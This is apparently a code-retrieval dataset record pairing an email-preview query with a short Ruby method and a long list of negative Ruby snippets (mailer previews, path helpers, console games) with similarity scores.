"def start\n DataManager.create_game_objects\n $game_party.setup_starting_members\n $game_map.setup(Config::Starting_Map_ID)\n $game_player.moveto(Config::X_Pos, Config::Y_Pos)\n $game_player.followers.visible = false\n $game_player.refresh\n $game_player.make_encounter_count\n\n @character_name = $game_player.character_name\n @character_index = $game_player.character_index\n $game_player.set_graphic('', 0)\n\n $game_system.menu_disabled = true\n Graphics.frame_count = 0\n\n super\n create_foreground\n create_background\n create_command_window\n play_title_music\n end",
"def start\n # start a new game using @config\n end",
"def run_game\n\n puts \"Welcome to the extremely challenging addition game!\"\n\n print \"Player 1, your name? \"\n player1 = Player.new(gets.chomp)\n @players << player1\n\n print \"... And you, Player 2? \"\n player2 = Player.new(gets.chomp)\n @players << player2\n\n puts \"Welcome, #{player1.name} and #{player2.name}!\\n\\n\"\n\n @active_player = @players[rand(0..1)]\n puts \"According to my coin-flip, #{@active_player.name} is going... SECOND! Sorry to disappoint you.\\n\\n\\n\"\n\n while (@active_player.lives > 0)\n run_round\n end\n\n end_game\n end",
"def perform\n\tgame_menu\n\tgameplay\nend",
"def runner\n welcome\n deal_card\n display_card_total\n prompt_user\n get_user_input\nend_game\ninitial_round\nhit\ninvalid_command\nend",
"def runner\r\n welcome\r\n num = initial_round\r\n numAfter = hit?(num)\r\n display_card_total(numAfter)\r\n end_game(numAfter)\r\nend",
"def runner\r\n # code runner here\r\n\twelcome\r\n\ttotal = initial_round\r\n\r\n\tuntil total > 21\r\n\t\ttotal = hit?(total)\r\n\t\tdisplay_card_total(total)\r\n\tend\r\n\t\r\n\tend_game(total)\r\n\r\nend",
"def game(*args, &b)\r\n\t$game = ASSEngine::Engine.new(*args, &b)\r\n\t$game.runblock\r\n\t$game\r\nend",
"def play\n display_welcome\n puts \"\"\n display_rules\n puts \"\"\n print \"Enter your name: \"\n player_name = STDIN.gets.strip\n self.player = Player.new(player_name) # get the user\n puts \"Welcome #{self.player.name}!\"\n puts \"\"\n\n #play until user has maximum points or user inputs exit (breaks until)\n until over?\n puts \"\"\n self.board.display_board # puts the board on each turn\n print \"Enter word: \"\n user_input = STDIN.gets.strip\n puts \"\"\n # TODO: implement using Thor\n case user_input\n when \"-q\" || \"-quit\" || \"-exit\"\n self.player.display_word_list\n self.player.display_total\n puts \"Bye!\"\n break\n when \"-h\" || \"-help\"\n display_rules\n when \"-t\" || \"-total\"\n self.player.display_total\n when \"-w\" || \"--word-list\"\n self.player.display_word_list\n when \"-r\" || \"-rearrange\"\n self.board.rearrange_board\n when \"--c-b\" || \"--cheater-bee\"\n self.board.display_word_list\n else #\n check_word(user_input.upcase)\n end\n end\n\n end",
"def start\n\tset\n\tputs \"Let's play a game of Tic Tac Toe!\"\n\tputs \"What is your name Player 1?\"\n\tplayer1 = gets.chomp.capitalize\n\t@player1 = Player.new(player1, \"X\")\n\tputs \"Welcome #{@player1.name}, you'll be #{@player1.symbol} for this game.\"\n\tputs \"What is your name Player 2?\"\n\tplayer2 = gets.chomp.capitalize\n\t@player2 = Player.new(player2, \"O\")\n\tputs \"Welcome #{@player2.name}, you'll be #{@player2.symbol} for this game.\"\n\t@game = Game.new\n\t@game.display\nend",
"def runner\n # code runner here\n welcome()\n total = initial_round()\n while total < 21 do\n total = hit?(total)\n display_card_total(total)\n end\n end_game(total)\nend",
"def runner; end",
"def runner\n # code runner here\n welcome\n ct=initial_round\n until ct>21\n ct=hit?(ct)\n display_card_total(ct)\n end\n end_game(ct)\nend",
"def run_app\n games = []\n @standings = []\n\n # load file from cli arg and parse teams and games\n # NOTE: for this exercise, if CLI argument is omitted, \n # it will load the sample file by default\n load_file.each do |line|\n game = []\n\n # get game's teams, fetch scores, and ensure team is listed in standings\n teams = line.chomp.split(\", \")\n\n teams.each do |team|\n team_stats = parse_game(team)\n add_team_to_standings(team_stats[:name])\n\n game << team_stats\n end\n\n games << game\n end\n\n # determine if tie game\n games.each do |game|\n if game.first[:score] == game.last[:score]\n its_a_tie(game)\n else\n determine_winner(game)\n end\n end\n\n # return and print winners by placement\n output_placements\nend",
"def play\n\n game=Game.new\n game.load\n while game.lives > 0 && !game.win?\n \tsystem \"clear\"\n \tprint game.word_guessed\n \tputs \"\"\n puts \"You have #{game.lives} lives remaining.\"\n puts \"\"\n puts \"Incorrect Letters:\"\n game.wrong.each {|letter| print \"#{letter}, \"}\n puts \"\"\n letter=game.guess_letter\n game.compare_letter(letter)\n sleep(1)\n end\n system \"clear\"\n if game.win?\n \tputs \"You Win!\"\n else \n puts \"You Lose!\"\n end\n puts \"The word was '#{game.word}'\"\n\n\nend",
"def new_game!\n write_to_engine('ucinewgame')\n reset_board!\n set_startpos!\n @fen = nil\n end",
"def run\n welcome\n main_menu_selection #choose to create a character or login to pre-existing character\n player_options #a list of options the selected player from 'selection_menu' can accomplish\nend",
"def runner\n welcome\n total = initial_round\n until total > 21\n total = hit?(total)\n display_card_total(total)\n end\n end_game(total)\n\t end",
"def loadGame()\n\nend",
"def start_game\r\n # Read the file that contains game instructions and display on the console\r\n File.open(File.join(File.dirname(__FILE__),\"instructions.txt\")).each do |line|\r\n puts line\r\n end\r\n # Select player 1 and 2 as human or computer. If human provide a name for identification\r\n player_1 = ask(\"Player 1 option? \",Integer){|q| q.in = 1..3}\r\n if player_1 == 2\r\n player_1_name = ask(\"Name? \") { |q| q.validate = /\\w+\\Z/ }\r\n player_1_obj = Player.new(player_1_name)\r\n else\r\n player_1_obj = Player.new()\r\n end\r\n\r\n player_2 = ask(\"Player 2 option? \",Integer){|q| q.in = 1..3}\r\n if player_2 == 2\r\n player_2_name = ask(\"Name? \") { |q| q.validate = /\\w+\\Z/ }\r\n player_2_obj = Player.new(player_2_name)\r\n else\r\n player_2_obj = Player.new()\r\n end\r\n # Create an array with two player objects. Each player gets a token which is same as his index in the array\r\n players = Array.new(2){Player.new}\r\n players[0] = player_1_obj\r\n players[1] = player_2_obj\r\n # Create a new game board\r\n new_board = Board.new()\r\n puts \" To start, please select a column between 1-7\"\r\n turn = 1 # used to keep track of maximum number of turns in the game which is 7*6\r\n game_over_flag = 0 # set to 1 if game is over either by a win or a tie\r\n while(turn <= 42)\r\n players.each_with_index do |player,player_token|\r\n puts \"Player #{player.name} turn\"\r\n if player.name.eql?(\"Computer\")\r\n # currently the computer takes a random move. This can be replaced with the calculate_winning_move() method\r\n # by implementing an algorithm to calculate the best move\r\n player_selection = rand(7)\r\n else\r\n # Take human player's column selection. reduce it by 1 because array indices start with 0\r\n player_selection = ask(\"Column? \", Integer) { |q| q.in = 1..7 }\r\n end\r\n player_column = player_selection-1\r\n # call make_move which makes a move on behalf of player and checks if the move has made the player win\r\n win_flag = new_board.make_move(player_token,player_column)\r\n turn += 1\r\n if win_flag\r\n puts \"Game over : Player #{player.name} won\"\r\n game_over_flag = 1\r\n end\r\n if turn == 42\r\n puts \"Game over : Its a tie!!\"\r\n game_over_flag = 1\r\n end\r\n # if the game over flag is set, check if the players want to restart with a new game or end the game\r\n if game_over_flag == 1\r\n new_game = ask(\"Do you want to start new game ?(yes/no)\"){|q| q.validate = /(yes|no)\\Z/}\r\n if new_game.eql?('yes')\r\n start_game()\r\n else\r\n puts \"See you.Have a good day!!\"\r\n end\r\n return\r\n end\r\n end\r\nend\r\nend",
"def runner\n # code runner here\n welcome\n card = initial_round\n card = hit?(card)\n if card > 21\n end_game(card)\n end\n display_card_total(card)\n\n\nend",
"def start_game\n game_logo\n game_start_screen\n game_rules\n last_rules\n choice = maker_breaker\n game_maker if choice == 'm'\n game_breaker if choice == 'b'\n end",
"def game_engine\n\t\tif @ai_on == true\n\t\t\tgame_with_ai\n\t\telse\n\t\t\t@player_two = 'black'\n\t\t\tgame_with_two_players\n\t\tend\n\t\tannounce_winner\n\t\tend_of_game\n\tend",
"def runner\n welcome\n game = initial_round\n until game > 21 do\n game = hit?(game)\n display_card_total(game)\n end\nend_game(game)\nend",
"def start_new_game\n # TODO: increment stats\n # stats = GameStats.new\n # stats.game_number += 1\n\n # create new player\n\n\n # print New game text\n new_game_banner = File.read('./old_code/fancy_text/new_game.txt')\n puts new_game_banner\n\n # display into story\n puts display_intro(@player_one.name)\n\n # auto load stage 1\n require './lib/stage'\n Stage.new(1, 5, @player_one)\n end",
"def game()\n\t\t@taken = 0\n\n\t\twhile true do\n\n\t\t\tif (@taken > 7) then\n\t\t\t\tsystem \"cls\"\n\t\t\t\tputs (\"<=============PLAYER #{@player}=============>\")\n\t\t\t\tputs ()\n\t\t\t\tshow\n\t\t\t\tputs ()\n\t\t\t\treturn 0\n\t\t\tend\n\n\t\t\t# player 1 is assumed to take X and player 2 assumed to take Y\n\t\t\t# this setting can be changed in the turn() method\n\t\t\t@player = 1\n\t\t\tif turn(@player) then\n\t\t\t\tsystem \"cls\"\n\t\t\t\tputs (\"<=============PLAYER #{@player}=============>\")\n\t\t\t\tputs ()\n\t\t\t\tshow\n\t\t\t\tputs ()\n\t\t\t\treturn 1\n\t\t\tend\n\n\t\t\t@player = 2\n\t\t\tif turn(@player) then\n\t\t\t\tsystem \"cls\"\n\t\t\t\tputs (\"<=============PLAYER #{@player}=============>\")\n\t\t\t\tputs ()\n\t\t\t\tshow\n\t\t\t\tputs ()\n\t\t\t\treturn 2\n\t\t\tend\n\n\t\tend\n\tend",
"def start()\n\t\tputs \"Welcome to ZORK!\";\n\t\tputs \"Your neighborhood has been overrun with monsters.\";\n\t\tputs \"You have been tasked with clearing the area of all monsters.\";\n\t\t\n\t\tputs \"\\n\\nWhat is your name?\";\n\t\tname = gets.chomp;\n\t\t@player = Player.new(name);\n\t\tsystem('cls');\n\t\tputs \"#{@player.name} you are standing in front of your house at the center of your neighborhood\";\n\tend",
"def runner\n # code runner here\n welcome\n initial_round\n hit?\n display_card_total\nend_game\n\nend",
"def runner\n welcome\n cards=0\n while cards<21\n cards=initial_round\n cards=hit?(cards)\n display_card_total(cards)\n end\n end_game(cards)\nend",
"def print_out_start_of_game\n\n puts \"Welcome to a new version of the 2 Player Game.\"\n puts \"\"\n\nend",
"def game_setup\n\t\t\tputs \"Would you like to play? [yes|no] \"\n\n\t\t\tinput = gets.chomp.downcase\n\n\t\t\tif input == \"yes\"\n\t\t\t\tname = @ui.get_name()\n\t\t\t\tmark = @ui.get_mark(name)\n\n\t\t\t\t@player = Player.new(name, mark)\n\n\t\t\t\tmark == 'X' ? @ai = AI.new('O', @player, @board) : @ai = AI.new('X',\n\t\t\t\t@player, @board)\n\t\n\t\t\t\tputs \"\\nTo play, you will need to input a number between 1 and 9\"\n\t\t\t\tputs \"representing to locations on the grid with 1 being the\"\n\t\t\t\tputs \"top-left corner and 9 being the bottom right corner,\"\n\t\t\t\tputs \"decreasing from left to right\\n\"\n\t\n\t\t\t\tself.run()\n\n\t\t\telse\n\t\t\t\tputs \"Have a nice day and come play next time.\"\n\t\t\t\texit\n\t\t\tend\n\t\tend",
"def start_game\n\n puts \"Who is playing as red?\"\n player_one = gets.chomp\n puts \"\\nWho is playing as blue?\"\n player_two = gets.chomp\n new_game = Gameboard.new(player_one, player_two)\n\n while new_game.game_live\n new_game.make_move\n end\n\n # Prompt to return to main menu\n return_prompt\nend",
"def winner\n puts \"██╗ ██╗██╗███╗ ██╗███╗ ██╗███████╗██████╗ \"\n sleep(1)\n puts \"██║ ██║██║████╗ ██║████╗ ██║██╔════╝██╔══██╗\"\n sleep(1)\n puts \"██║ █╗ ██║██║██╔██╗ ██║██╔██╗ ██║█████╗ ██████╔╝\"\n sleep(1)\n puts \"██║███╗██║██║██║╚██╗██║██║╚██╗██║██╔══╝ ██╔══██╗\"\n sleep(1)\n puts \"╚███╔███╔╝██║██║ ╚████║██║ ╚████║███████╗██║ ██║\"\n sleep(1)\n puts \" ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝\"\n sleep(1)\n puts \" \"\n sleep(1)\n restart_game\nend"
] |
[
"0.7932658",
"0.7932658",
"0.79323006",
"0.79323006",
"0.79323006",
"0.79323006",
"0.79323006",
"0.77711886",
"0.771133",
"0.7628913",
"0.7627597",
"0.7476931",
"0.7472028",
"0.7393083",
"0.7359178",
"0.7331043",
"0.7321877",
"0.7293849",
"0.725242",
"0.7235749",
"0.71853334",
"0.7131697",
"0.7119675",
"0.70881736",
"0.70768875",
"0.70725936",
"0.7052097",
"0.7016595",
"0.7016554",
"0.6991571",
"0.69878113",
"0.6969236",
"0.69615185",
"0.6950264",
"0.69424236",
"0.69420445",
"0.69336325",
"0.69280404",
"0.69218075",
"0.6909132",
"0.6901902",
"0.6901764",
"0.68911606",
"0.6888534",
"0.68697554",
"0.68651897",
"0.67867506",
"0.67780495",
"0.6769086",
"0.6768848",
"0.67661995",
"0.6764833",
"0.67568576",
"0.67529005",
"0.67408484",
"0.6727199",
"0.67263496",
"0.6709481",
"0.66892457",
"0.66608226",
"0.66540396",
"0.6652603",
"0.66405475",
"0.66387683",
"0.66385895",
"0.6637302",
"0.66168386",
"0.6604091",
"0.6598641",
"0.6571501",
"0.656941",
"0.6568434",
"0.65658957",
"0.6564761",
"0.6564366",
"0.656369",
"0.65545875",
"0.65544647",
"0.6552361",
"0.6542615",
"0.65342593",
"0.65238255",
"0.65193737",
"0.65110743",
"0.65050906",
"0.6504767",
"0.6499884",
"0.64981145",
"0.6495222",
"0.6494189",
"0.64930665",
"0.649095",
"0.6490801",
"0.64816934",
"0.6474415",
"0.6471827",
"0.6471252",
"0.6469109",
"0.6467653",
"0.646667",
"0.64580274"
] |
0.0
|
-1
|
A helper to make paths relative to the root easier.
|
def rel relative_path
return File.dirname(__FILE__) + "/../" + relative_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def root_path(*args)\n relative = File.join(*args)\n return relative if relative.expand_path == relative\n root.expand_path / relative\n end",
"def root_path(*args)\n relative = File.join(*args)\n return relative if relative.expand_path == relative\n root.expand_path / relative\n end",
"def root_path(path) File.join(root, path) end",
"def relativize_root_path(path)\n path.to_s.sub(/^#{Regexp.escape(@root)}/, '$root')\n end",
"def relative_path\n self.path.sub(File.expand_path(options[:root_dir]) + '/', '')\n end",
"def relroot\n Pathname.new(File.expand_path(path)).\n relative_path_from(Pathname.new(File.expand_path(root))).to_s\n end",
"def based_on_root(rel_path)\n File.expand_path(File.join(options.root,rel_path))\n end",
"def root_path\n Pathname.new(File.expand_path(File.join(__dir__, '..', '..')))\nend",
"def relativize_path(path)\n path.to_s.gsub(/^\\/?#{Regexp.escape(root_path.to_s)}\\/?/, '')\n end",
"def root_path\n path = File.join(File.dirname(__FILE__), '../')\n Pathname.new(path).realpath\nend",
"def root_path\n @root_path ||= File.expand_path(File.join('.', '../..'))\n end",
"def root_path(*path) File.join(root, *path) end",
"def root_path(*path)\n File.join(root, *path)\n end",
"def root_path(*args)\n File.join(ROOT_DIR, *args)\nend",
"def root_path(*args)\n File.join(ROOT_DIR, *args)\nend",
"def absolutize_path(path = nil)\n \"#{root_path}#{path}\"\n end",
"def relative_path_from(from); end",
"def relative_directory\n return '' unless @directory_root\n @path - @directory_root - name\n end",
"def relative_path(path = @pwd, to = @root)\n Pathname.new(path).relative_path_from(Pathname.new(to)).to_s\n end",
"def relative_url_root; end",
"def relative_url_root; end",
"def relative_url_root; end",
"def relative_path(from, to); end",
"def talia_root(path = '')\n File.join('..', '..', '..', '..', path)\n end",
"def root(path = nil)\n base = File.expand_path(File.dirname(__FILE__))\n path ? File.join(base, path) : base\n end",
"def relative_directory; end",
"def root\n \"#{File.dirname(__FILE__)}/..\"\nend",
"def qualify_path(path, root = @app_dir)\n \"$PWD/#{Pathname.new(path).relative_path_from(Pathname.new(root))}\"\n end",
"def root_path(*paths)\n current = File.expand_path(File.dirname(__FILE__)) # current is the target folder\n File.expand_path File.join(current, \"..\", paths)\n end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def relative_path(path)\n path.split('/').drop(5).join('/')\nend",
"def relative_root\n Rails.configuration.relative_url_root || \"\"\n end",
"def root\n Pathname.new File.expand_path('../../', File.dirname(__FILE__))\n end",
"def root_path; end",
"def root_path; end",
"def root_path; end",
"def get_root\n return File.join('/root/path', SETTINGS[:project])\n end",
"def relative\n return self if relative?\n @relativized ||= relative_path_from root\n end",
"def root\n '../' * file.count('/')\n end",
"def relative_path path, base\n (root? path) && (offset = descends_from? path, base) ? (path.slice offset, path.length) : path\n end",
"def relative_path_to(other)\n other.relative_path_from(@root)\n end",
"def path\n real_path = Pathname.new(root).realpath.to_s\n full_path.sub(%r{^#{real_path}/}, '')\n end",
"def root; Pathname(__dir__).parent; end",
"def root_file_path; end",
"def set_root_path!\n raise 'APP_ROOT is not set' unless defined?(::APP_ROOT)\n raise 'APP_ROOT is not a directory' unless File.directory?(::APP_ROOT)\n\n @root_path =\n # Pathname is incompatible with Windows, but Windows doesn't have\n # real symlinks so File.expand_path is safe.\n if RUBY_PLATFORM =~ /(:?mswin|mingw)/\n File.expand_path(::APP_ROOT)\n\n # Otherwise use Pathname#realpath which respects symlinks.\n else\n Pathname.new(::APP_ROOT).realpath.to_s\n end\n\n Object.const_set(:RELATIVE_APP_ROOT, ::APP_ROOT.dup) unless defined?(::RELATIVE_APP_ROOT)\n ::APP_ROOT.replace @root_path\n end",
"def relative_url_root=(_); end",
"def root\n @root ||= Pathname.new('.')\nend",
"def file_root(path = '')\n File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..', path))\n end",
"def root\n Pathname.new(File.dirname(__dir__))\n end",
"def set_root_path!\n raise 'IRONNAILS_ROOT is not set' unless defined?(::IRONNAILS_ROOT)\n raise 'IRONNAILS_ROOT is not a directory' unless File.directory?(::IRONNAILS_ROOT)\n\n @root_path =\n # Pathname is incompatible with Windows, but Windows doesn't have\n # real symlinks so File.expand_path is safe.\n if ENV['OS'] == 'Windows_NT'.freeze\n File.expand_path(::IRONNAILS_ROOT)\n\n # Otherwise use Pathname#realpath which respects symlinks.\n else\n Pathname.new(::IRONNAILS_ROOT).realpath.to_s\n end\n\n Object.const_set(:RELATIVE_IRONNAILS_ROOT, ::IRONNAILS_ROOT.dup) unless defined?(::RELATIVE_IRONNAILS_ROOT)\n\n ::IRONNAILS_ROOT.replace @root_path\n end",
"def relative_path(p = path)\n anchor = p.ftype == \"directory\" ? @root_path : \"public\"\n p.relative_path_from(Pathname.new(anchor).realpath)\n end",
"def urlpath\n path = cleanpath\n path.blank? ? '/root' : '/' + path\n end",
"def relative_path\n @relative_path ||= File.join(*[@dir, @name].map(&:to_s).reject(&:empty?)).delete_prefix(\"/\")\n end",
"def rootify_path path\n path = normalize_path(path, true)\n path.size > 0 ? '/%s/' % path : '/'\n end",
"def relative_url_root=(_arg0); end",
"def relative_url_root=(_arg0); end",
"def relative_path(path)\n path = destination_root.relative_path(path) || path\n path.empty? ? \".\" : path\n end",
"def relativePath\n return (parentPathElements + [name]).join(\"/\")\n end",
"def path_root\n base_uri ? base_uri : path_to( '/' )\n end",
"def relative_path\n must_be File\n Pathname.new(self.full_path).relative_path_from(Pathname.new(Dir.pwd)).to_s\n end",
"def root\n @root ||= Pathname.new(\"#{__dir__}/../../../..\").cleanpath\n end",
"def base_relative_dir\n \t\t@dir.gsub(/^\\//,\"\")\n \tend",
"def root_path \n @root_path\n end",
"def rel_path(path)\n Pathname(path).expand_path.relative_path_from(Pathname(Dir.pwd))\n end",
"def _relative_path\n if _is_root?\n nil\n else\n self.class.name.demodulize.underscore\n end\n end",
"def root_path(basename = nil)\n join(root, basename)\n end",
"def root_path=(_arg0); end",
"def root_path=(_arg0); end",
"def root_path=(_arg0); end",
"def explicit_relative(path)\n # Paths that do not start with \"/\", \"./\", or \"../\" will be prefixed with ./\n path.sub(%r(^(?!\\.{0,2}/)), './')\n end",
"def project_path path, strict=true\n path_under 'root', path, strict\n end",
"def cleaned_relative_path; end",
"def cleaned_relative_path; end",
"def root_path\n RUBYCOCOA_ROOT.to_s\n end",
"def expand_root_path(path)\n path.to_s.sub(/^\\$root/, @root)\n end",
"def root_path\n defined?(Rails) && Rails.root ||\n defined?(Sinatra::Application) && Pathname.new(Sinatra::Application.root) ||\n defined?(ROOT_DIR) && Pathname.new(ROOT_DIR)\n end",
"def base_path\n Dir.pwd + \"/\"\n end",
"def root(*args)\n where = ''\n where = @config.send(\"#{args.shift.to_s}_path\") if args[0].class == Symbol\n path = args\n File.expand_path File.join([@root, where, path].reject { |s| s.empty? })\n end",
"def fullpath\n File.join(@root, @path)\n end",
"def full_path\n container.root.join(path)\n end",
"def full_path\n container.root.join(path)\n end",
"def figure_rootpath()\n name = File.basename(path)\n dirname = File.dirname(path)\n extname = File.extname(path)\n raise(\"Invalid property file name: '#{path}': too many underscores.\") if name.count(\"_\") > 2\n \n first_underscore = name.index('_')\n if first_underscore\n @rootpath = File.join(dirname, name[0, first_underscore] + extname)\n else\n @rootpath = path\n end\n end",
"def uri_root_path(*paths)\n root_uri = uri_root if self.respond_to?(:uri_root)\n File.join(root_uri || '/', *paths)\n end",
"def relativize( path ) # :doc:\n p = Pathname.new( path )\n unless p.relative?\n p = p.relative_path_from( Pathname.pwd ).to_s\n p += '/' if path[-1] == '/'\n path = p if p.length < path.length\n end\n path\n end",
"def get_full_path(sub_path)\n File.join(Dir.pwd, sub_path)\nend",
"def base_dir_for_path_parameters; end",
"def root\n File.expand_path(File.dirname(File.dirname(File.dirname(__dir__))))\n end",
"def relative_path\n @relative_path ||= PathManager.join(@dir, @name).delete_prefix(\"/\")\n end",
"def controll_root\n root = '/'\n if defined?(\"::Rails\")\n if Rails.respond_to?(:root)\n root = ::Rails.root\n end\n end\n root = File.join(root, PATH)\n unless File.exist?(root)\n Dir.mkdir(root)\n end\n Dir.open(root)\n end",
"def root_path(full = true)\n\n if full\n path = Rails.root.join ProgramsDir\n else\n path = Pathname.new ProgramsDir\n end\n\n path.join self.name\n end",
"def path(rel)\n File.join(File.dirname(__FILE__), \"..\", rel)\nend",
"def get_path(path)\n return '' if path.blank?\n return path if path[0] == '/'\n Rails.root.to_s + '/' + path\n end",
"def app_path(path)\n File.expand_path(File.join(path), APP_ROOT)\nend",
"def root\n File.expand_path(File.dirname(__dir__))\n end",
"def resolvePath(possiblyRelativePath, rootDir)\n\t\tpath = Pathname.new(possiblyRelativePath)\n\t\tif(path.absolute?()) then\n\t\t\treturn path.to_s()\n\t\telse\n\t\t\trootPath = Pathname.new(rootDir)\n\t\t\treturn rootPath.join(path)\n\t\tend\n\tend",
"def root\n File.expand_path '../../..', __FILE__\n end"
] |
[
"0.8022697",
"0.8022697",
"0.8017785",
"0.7732808",
"0.76919407",
"0.7600917",
"0.7534335",
"0.74475276",
"0.73570514",
"0.7348611",
"0.733614",
"0.7328759",
"0.72711414",
"0.7267728",
"0.7267728",
"0.7229102",
"0.7202504",
"0.71939605",
"0.7179582",
"0.7156275",
"0.7156275",
"0.7156275",
"0.71522444",
"0.71396023",
"0.7133364",
"0.7127308",
"0.710163",
"0.70916367",
"0.70868164",
"0.7082458",
"0.7082458",
"0.7082458",
"0.7082458",
"0.7082458",
"0.70667493",
"0.7049517",
"0.70407885",
"0.70200187",
"0.70200187",
"0.70200187",
"0.7013346",
"0.69917506",
"0.6988503",
"0.69864666",
"0.6965173",
"0.6958996",
"0.69431394",
"0.6942012",
"0.6936324",
"0.6932568",
"0.6931777",
"0.6929493",
"0.69179744",
"0.6910461",
"0.6905026",
"0.6901464",
"0.6898614",
"0.6895939",
"0.6880926",
"0.6880926",
"0.687298",
"0.68618655",
"0.685633",
"0.68428797",
"0.6836986",
"0.6832787",
"0.6826416",
"0.6786659",
"0.67776674",
"0.6769502",
"0.67663085",
"0.67663085",
"0.67663085",
"0.6750472",
"0.67451036",
"0.67325103",
"0.67325103",
"0.67239267",
"0.6706561",
"0.6704318",
"0.66991436",
"0.6688372",
"0.66857654",
"0.66836685",
"0.66836685",
"0.6681886",
"0.6676582",
"0.66698456",
"0.66685724",
"0.6667546",
"0.6649918",
"0.6648874",
"0.6643231",
"0.6641944",
"0.6641728",
"0.6634762",
"0.66298676",
"0.66280466",
"0.662634",
"0.6622611"
] |
0.7127656
|
25
|
Preview this email at
|
def enviar
Email.enviar
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def preview\n @email = Email.find(params[:id])\n render :text => @email.body\n end",
"def preview\n @email = DirectEmail.find(params[:id])\n render :text => @email.body\n end",
"def preview\n @email = EventEmail.find(params[:id])\n render :text => @email.body\n end",
"def preview_email\r\n invitation = Invitation.new(:user => current_user, :code => Code.new)\r\n mail = Mailers::Debate.create_invitation(current_user, @resource, invitation)\r\n @mail_body = mail.body.sub('No message provided', 'YOUR PERSONALIZED NOTE GOES HERE')\r\n\r\n render :inline => %Q{<%= simple_format(@mail_body, {:style => 'margin: 8px 0px'}) %>}\r\n end",
"def demo\n preview(DemoMailer.demo)\n end",
"def demo\n preview(DemoMailer.demo)\n end",
"def call(email, params = {})\n preview = new(params)\n message = preview.public_send(email)\n inform_preview_interceptors(message)\n message\n end",
"def call(email)\n preview = self.new\n preview.public_send(email)\n end",
"def preview_newsletter\n @newsletter = @structure.newsletters.friendly.find params[:id]\n\n # Send email to no recipients to generate mail object\n mail = NewsletterMailer.send_newsletter(@newsletter, nil)\n @body = MailerPreviewer.preview(mail)\n\n render layout: false\n end",
"def preview\n task = MailTasks::Task.new( params[:task] )\n recipient = StoreUser.find( params[:id], :include => \"customer\", :readonly => true )\n mail = task.generate_mails( [recipient], false, mail_layout_options ).first\n render :text => mail.content_with_layout( mail_layout_options ), :layout => false\n # rescue => exception\n # headers[\"Content-Type\"] = \"text/plain\"\n # render :text => exception.to_yaml, :layout => false\n end",
"def preview_to(recipient)\n @newsletter = build_newsletter\n mail = build_mail\n mail.to = recipient.email\n replace_and_send_mail_safely(mail, recipient)\n end",
"def show_body\n I18n.with_locale @email_locale do\n @mail_body = mail_body(@preview, @part_type)\n render :show_body, layout: 'rails_email_preview/email'\n end\n end",
"def process_explanation_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.process_explanation_mail(Petition.live.first)\n end",
"def content_for_preview( layout_options )\r\n content = self.body.dup\r\n content.gsub!( /<%=\\s?(@[^%]+)\\s?%>/, '<code>\\1</code>' )\r\n mail = Mail.new( :token => \"\" )\r\n mail.content = Render::Base.new( content ).mail_content\r\n template = IO.read(\"#{RAILS_ROOT}/app/views/mail_tasks/mailer/this_mail.text.html.rhtml\")\r\n \r\n render = Render::Base.new( template, layout_options.merge( :mail => mail ) )\r\n render.mail_content\r\n end",
"def preview\n frm.button(:value=>\"Preview\").click\n PreviewAnnouncements.new(@browser)\n end",
"def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end",
"def preview\n end",
"def preview\n end",
"def show\n @decrypted = @autocrypt.decrypt(@email)\n @reply_params = {\n to: @email.from,\n subject: 'Re: ' + @email.subject,\n body: (@decrypted || @email.body).gsub(/^/, '> ')\n }\n end",
"def preview\n attachments.first.file.url(:preview)\n rescue StandardError => exc\n logger.error(\"Message for the log file while retrieving preview #{exc.message}\")\n 'empty_file.png'\n end",
"def preview\n redirect_to preview_url\n end",
"def preview\n @text = params[:deliverable][:description]\n render :partial => 'common/preview'\n end",
"def preview_announcement(subject)\n frm.link(:text=>subject).click\n PreviewAnnouncements.new(@browser)\n end",
"def show\n if @sent_email.photo.nil?\n @display_name = ''\n @title = ''\n @flickr_url = ''\n else\n @display_name = @sent_email.photo.member.display_name\n @title = @sent_email.photo.title\n @flickr_url = @sent_email.photo.get_flickr_url\n end\n end",
"def preview\n frm.button(:value=>\"Preview\").click\n AssignmentsPreview.new(@browser)\n end",
"def preview\n frm.button(:value=>\"Preview\").click\n AssignmentsPreview.new(@browser)\n end",
"def send_preview(recipients, personalize=\"fallback\")\n options = { :body => {\n :PreviewRecipients => recipients.kind_of?(String) ? [ recipients ] : recipients,\n :Personalize => personalize }.to_json }\n response = post \"sendpreview\", options\n end",
"def create\n @mail = Mail.new(params[:mail])\n @mail.user = current_user\n \n if params[:preview_button] || !@mail.save\n render :action => \"new\"\n else\n flash[:notice] = 'Mail was successfully created.'\n redirect_to(@mail)\n end\n end",
"def last_message_preview=(value)\n @last_message_preview = value\n end",
"def edit\n yield @editor\n @mail = @editor.mail\n @message = @mail.to_s\n end",
"def preview_text\n return @preview_text\n end",
"def preview_text\n return @preview_text\n end",
"def preview\n return @preview\n end",
"def inspect\n \"#<Envelope::Message to=#{formatted_to} from=#{formatted_from} cc=#{formatted_cc} bcc=#{formatted_bcc} reply_to=#{formatted_reply_to} subject=\\\"#{subject}\\\" text_part=\\\"#{preview = (text_part || html_part); (preview && preview.gsub(/\\s+/, ' ') || 'No preview available')[0..50]}...\\\">\"\n end",
"def petition_announcement_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.petition_announcement_mail(Petition.live.first)\n end",
"def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end",
"def preview() @page.find(input_elements[:preview]) end",
"def preview(channel_id, msg_id, data)\n channel_config, message_config, text =\n prepare_message(channel_id, msg_id, data)\n chats = channel_config.chat_ids\n connector = channel_config.connector\n\n if message_allowed?(message_config, data)\n connector.preview(chats, text, message_config)\n else\n puts \"No message sent beacuse it's not allowed\"\n end\n end",
"def improve_and_reopen_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.improve_and_reopen_mail(Petition.live.first)\n end",
"def hand_over_to_office_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.hand_over_to_office_mail(Petition.live.first)\n end",
"def content_preview\n self.send(content_preview_method)\n end",
